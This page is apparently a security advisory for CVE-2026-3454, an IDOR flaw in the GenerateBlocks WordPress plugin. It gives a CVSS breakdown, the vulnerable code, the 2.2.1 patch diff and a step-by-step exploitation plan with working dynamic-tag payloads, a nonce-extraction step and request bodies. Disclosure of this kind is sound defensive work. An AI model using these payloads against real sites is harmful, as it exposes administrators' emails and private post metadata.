CVE-2026-3454

GenerateBlocks <= 2.2.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Exposure via Dynamic Tag Replacements

mediumAuthorization Bypass Through User-Controlled Key
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.2.1
Patched in
1d
Time to patch

Description

The GenerateBlocks plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.0. This is due to missing object-level authorization checks in the /wp-json/generateblocks/v1/dynamic-tag-replacements REST endpoint. The endpoint only verifies that the user has the edit_posts capability but does not verify the user has permission to access the specific post or its associated data referenced by attacker-controlled id parameters in dynamic tag content. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive information from arbitrary posts including author email addresses and non-protected post meta values by crafting dynamic tag payloads such as {{post_meta id:<target>|key:<meta_key>}} and {{post_title id:<target>|link:author_email}}.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.2.0
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected plugingenerateblocks

What Changed in the Fix

Changes introduced in v2.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: GenerateBlocks Dynamic Tag IDOR (CVE-2026-3454) ## 1. Vulnerability Summary The **GenerateBlocks** plugin (up to version 2.2.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability within its REST API endpoint used for dynamic tag replacement. The endp…

Show full research plan

Exploitation Research Plan: GenerateBlocks Dynamic Tag IDOR (CVE-2026-3454)

1. Vulnerability Summary

The GenerateBlocks plugin (up to version 2.2.0) contains an Insecure Direct Object Reference (IDOR) vulnerability within its REST API endpoint used for dynamic tag replacement. The endpoint /wp-json/generateblocks/v1/dynamic-tag-replacements allows authenticated users with at least edit_posts capability (Contributor level and above) to submit content containing dynamic tags (e.g., {{post_meta ...}}).

The vulnerability exists because the plugin fails to perform object-level authorization checks. While it verifies the user has the general edit_posts capability, it does not verify if the user has permission to access the specific post IDs referenced within the tags. This allows a Contributor to extract information from posts they shouldn't be able to see (e.g., Private posts, Drafts of other users) or sensitive metadata and author emails.

2. Attack Vector Analysis

  • Endpoint: /wp-json/generateblocks/v1/dynamic-tag-replacements
  • Method: POST
  • Authentication: Authenticated (Contributor+)
  • Capability Required: edit_posts
  • Vulnerable Parameter: The request body (likely a JSON object containing a content or tags string).
  • Payload Format:
    • {{post_meta id:<target_id>|key:<meta_key>}}
    • {{post_title id:<target_id>|link:author_email}}

3. Code Flow

  1. REST Registration: GenerateBlocks_Dynamic_Tags::register_rest_routes (in includes/dynamic-tags/class-dynamic-tags.php) registers the /dynamic-tag-replacements endpoint.
  2. Permission Check: The permission_callback only checks current_user_can( 'edit_posts' ).
  3. Tag Parsing: The callback likely invokes GenerateBlocks_Dynamic_Tags::replace_tags or a similar processing method.
  4. Callback Execution: For a post_meta tag, it calls GenerateBlocks_Dynamic_Tag_Callbacks::get_post_meta.
  5. ID Retrieval: GenerateBlocks_Dynamic_Tag_Callbacks::get_the_title (and others) calls GenerateBlocks_Dynamic_Tags::get_id( $options, 'post', $instance ).
  6. Data Retrieval (The Sink):
    • get_post_meta calls GenerateBlocks_Meta_Handler::get_post_meta( $id, $key, true ).
    • with_link( $output, $options, $instance ) (in class-dynamic-tag-callbacks.php) contains:
      case 'author_email':
          $user_id = get_post_field( 'post_author', $id ); // $id is attacker controlled
          $url     = 'mailto:' . get_the_author_meta( 'user_email', $user_id );
          break;
      
  7. Bypass: No check like current_user_can( 'read_post', $id ) is performed before fetching the meta or author data.

4. Nonce Acquisition Strategy

The REST API requires a standard WordPress REST nonce (wp_rest).

  1. Role: Authenticate as a Contributor.
  2. Method: Use browser_navigate to go to the WordPress Dashboard (/wp-admin/).
  3. Extraction: Use browser_eval to extract the wpApiSettings nonce, which is standard in WordPress admin pages.
    • Script: window.wpApiSettings.nonce

5. Exploitation Strategy

The goal is to extract the Admin's email address and a private post's metadata.

Step 1: Discover Target Post ID

Use WP-CLI to find a post ID belonging to the Admin that the Contributor should not see (e.g., a Private post).

Step 2: Extract Author Email

Request:

  • URL: http://localhost:8080/wp-json/generateblocks/v1/dynamic-tag-replacements
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [extracted_nonce]
  • Body:
{
    "content": "{{post_title id:[TARGET_POST_ID]|link:author_email}}"
}

Note: If the parameter name is not content, try tags or html.

Step 3: Extract Sensitive Metadata

Request:

  • URL: Same as above
  • Body:
{
    "content": "{{post_meta id:[TARGET_POST_ID]|key:_wp_page_template}}"
}

(Or any sensitive meta key found during setup).

6. Test Data Setup

  1. Victim (Admin):
    • Create a Private post: wp post create --post_type=post --post_title="Sensitive Admin Post" --post_status=private --post_author=1
    • Let's assume this returns ID: 10.
    • Add a custom meta field: wp post meta add 10 sensitive_api_key "super-secret-123"
  2. Attacker (Contributor):
    • Create a contributor user: wp user create attacker attacker@example.com --role=contributor --user_pass=password

7. Expected Results

  • The response for the author_email payload should contain the Admin's email wrapped in a mailto link: <a href="mailto:admin@example.com">Sensitive Admin Post</a>.
  • The response for the post_meta payload should contain the raw string: super-secret-123.
  • Both successes occur despite the Contributor not having permissions to read post ID 10.

8. Verification Steps

  1. Verify Response: Confirm the JSON response from the REST API contains the expected sensitive strings.
  2. Check Access Control: Use wp user cap list attacker to verify the user only has edit_posts and cannot normally read the private post of another user via the standard WP REST API (/wp/v2/posts/10).

9. Alternative Approaches

  • Author Meta: Try {{author_meta id:[POST_ID]|key:user_login}} or {{author_meta id:[POST_ID]|key:description}}.
  • Term Meta: If GenerateBlocks Pro is active (implied by description), try {{term_meta id:[TERM_ID]|key:[KEY]}}.
  • Endpoint Discovery: If /dynamic-tag-replacements returns 404, check the output of GET /wp-json/generateblocks/v1/ to find the exact registered route name (it may be plural or hyphenated differently). Based on class-meta-handler.php, other potential endpoints include /meta/get-post-meta?id=10&key=sensitive_api_key.
Research Findings
Static analysis — not yet PoC-verified

Summary

The GenerateBlocks plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the `/wp-json/generateblocks/v1/dynamic-tag-replacements` REST endpoint. Authenticated users with Contributor-level permissions can craft dynamic tag payloads to extract sensitive post metadata or author email addresses from arbitrary posts, including private posts or drafts belonging to other users, due to a lack of object-level authorization checks.

Vulnerable Code

// includes/dynamic-tags/class-dynamic-tags.php:500
	public function replace_tag_replacements( $request ) {
		$content      = $request->get_param( 'content' );
		$context      = $request->get_param( 'context' );
		$client_id    = $request->get_param( 'clientId' );
		$post_id      = $context['postId'] ?? 0;
		$fallback_id  = $post_id;

---

// includes/dynamic-tags/class-dynamic-tag-callbacks.php:64
			case 'author_email':
				$user_id = get_post_field( 'post_author', $id );
				$url     = 'mailto:' . get_the_author_meta( 'user_email', $user_id );
				break;

---

// includes/class-meta-handler.php:268
			if ( 'get_post_meta' === $callable ) {
				if ( is_protected_meta( $key, 'post' ) ) {
					return '';
				}

				return (string) self::get_value( $key, get_post_meta( $id, $parent_name, true ), $single_only, $fallback );
			}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.0/includes/class-meta-handler.php /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.1/includes/class-meta-handler.php
--- /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.0/includes/class-meta-handler.php	2025-12-09 18:47:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.1/includes/class-meta-handler.php	2026-03-31 16:26:18.000000000 +0000
@@ -266,6 +266,10 @@
 			}
 
 			if ( 'get_post_meta' === $callable ) {
+				if ( is_numeric( $id ) && ! current_user_can( 'read_post', (int) $id ) ) {
+					return '';
+				}
+
 				if ( is_protected_meta( $key, 'post' ) ) {
 					return '';
 				}
@@ -472,6 +476,17 @@
 				)
 			);
 		}
+
+		// Require list_users capability to access other users' meta.
+		if ( $id !== $current_id && ! current_user_can( 'list_users' ) ) {
+			return rest_ensure_response(
+				new WP_Error(
+					'rest_forbidden',
+					__( 'Sorry, you are not allowed to access this user\'s meta.', 'generateblocks' ),
+					array( 'status' => rest_authorization_required_code() )
+				)
+			);
+		}
 
 		$key         = $request->get_param( 'key' );
 		$single_only = true;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.0/includes/dynamic-tags/class-dynamic-tag-callbacks.php /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.1/includes/dynamic-tags/class-dynamic-tag-callbacks.php
--- /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.0/includes/dynamic-tags/class-dynamic-tag-callbacks.php	2025-12-09 18:47:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.1/includes/dynamic-tags/class-dynamic-tag-callbacks.php	2026-03-31 16:26:18.000000000 +0000
@@ -62,6 +62,10 @@
 
 				break;
 			case 'author_email':
+				if ( defined( 'REST_REQUEST' ) && REST_REQUEST && ! current_user_can( 'list_users' ) ) {
+					break;
+				}
+
 				$user_id = get_post_field( 'post_author', $id );
 				$url     = 'mailto:' . get_the_author_meta( 'user_email', $user_id );
 				break;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.0/includes/dynamic-tags/class-dynamic-tags.php /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.1/includes/dynamic-tags/class-dynamic-tags.php
--- /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.0/includes/dynamic-tags/class-dynamic-tags.php	2025-12-09 18:47:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/generateblocks/2.2.1/includes/dynamic-tags/class-dynamic-tags.php	2026-03-31 16:26:18.000000000 +0000
@@ -502,7 +502,13 @@
 		$content      = $request->get_param( 'content' );
 		$context      = $request->get_param( 'context' );
 		$client_id    = $request->get_param( 'clientId' );
-		$post_id      = $context['postId'] ?? 0;
+		$post_id      = absint( $context['postId'] ?? 0 );
+
+		// Verify the current user can read the context post.
+		if ( $post_id && ! current_user_can( 'read_post', $post_id ) ) {
+			return rest_ensure_response( [] );
+		}
+
 		$fallback_id  = $post_id;
 		$instance     = new stdClass();
 		$replacements = [];
@@ -556,6 +563,25 @@
 					$fallback_id = get_current_user_id();
 				}
 
+				// Check object-level access for tags where id: refers to a post ID.
+				if ( in_array( $type, [ 'post', 'author', 'media' ], true ) ) {
+					$tag_options_string = isset( $split_tag[1] ) ? ltrim( $split_tag[1], ' ' ) : '';
+					$tag_options        = GenerateBlocks_Register_Dynamic_Tag::parse_options( $tag_options_string, $tag_name );
+					$tag_post_id        = isset( $tag_options['id'] ) ? absint( $tag_options['id'] ) : 0;
+
+					if ( $tag_post_id && ! current_user_can( 'read_post', $tag_post_id ) ) {
+						$replacements[] = [
+							'original'    => "{{{$tag}}}",
+							'replacement' => '',
+							'fallback'    => $fallback,
+						];
+
+						continue;
+					}
+				}
+

Exploit Outline

The exploit targets the REST API endpoint `/wp-json/generateblocks/v1/dynamic-tag-replacements`. 1. Authenticate as a user with at least Contributor-level permissions (the `edit_posts` capability). 2. Obtain a valid WordPress REST API nonce from the dashboard (e.g., via `window.wpApiSettings.nonce`). 3. Construct a POST request to the vulnerable endpoint with a JSON body containing a `content` field. 4. Embed a dynamic tag in the `content` field that references a target post ID and a desired attribute. For example, to retrieve an administrator's email associated with a private post (ID 123), use: `{{post_title id:123|link:author_email}}`. To retrieve a specific custom field value, use: `{{post_meta id:123|key:sensitive_meta_key}}`. 5. The server will process the tags and return the replaced values in the response, bypassing WordPress's standard post visibility and metadata access controls.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.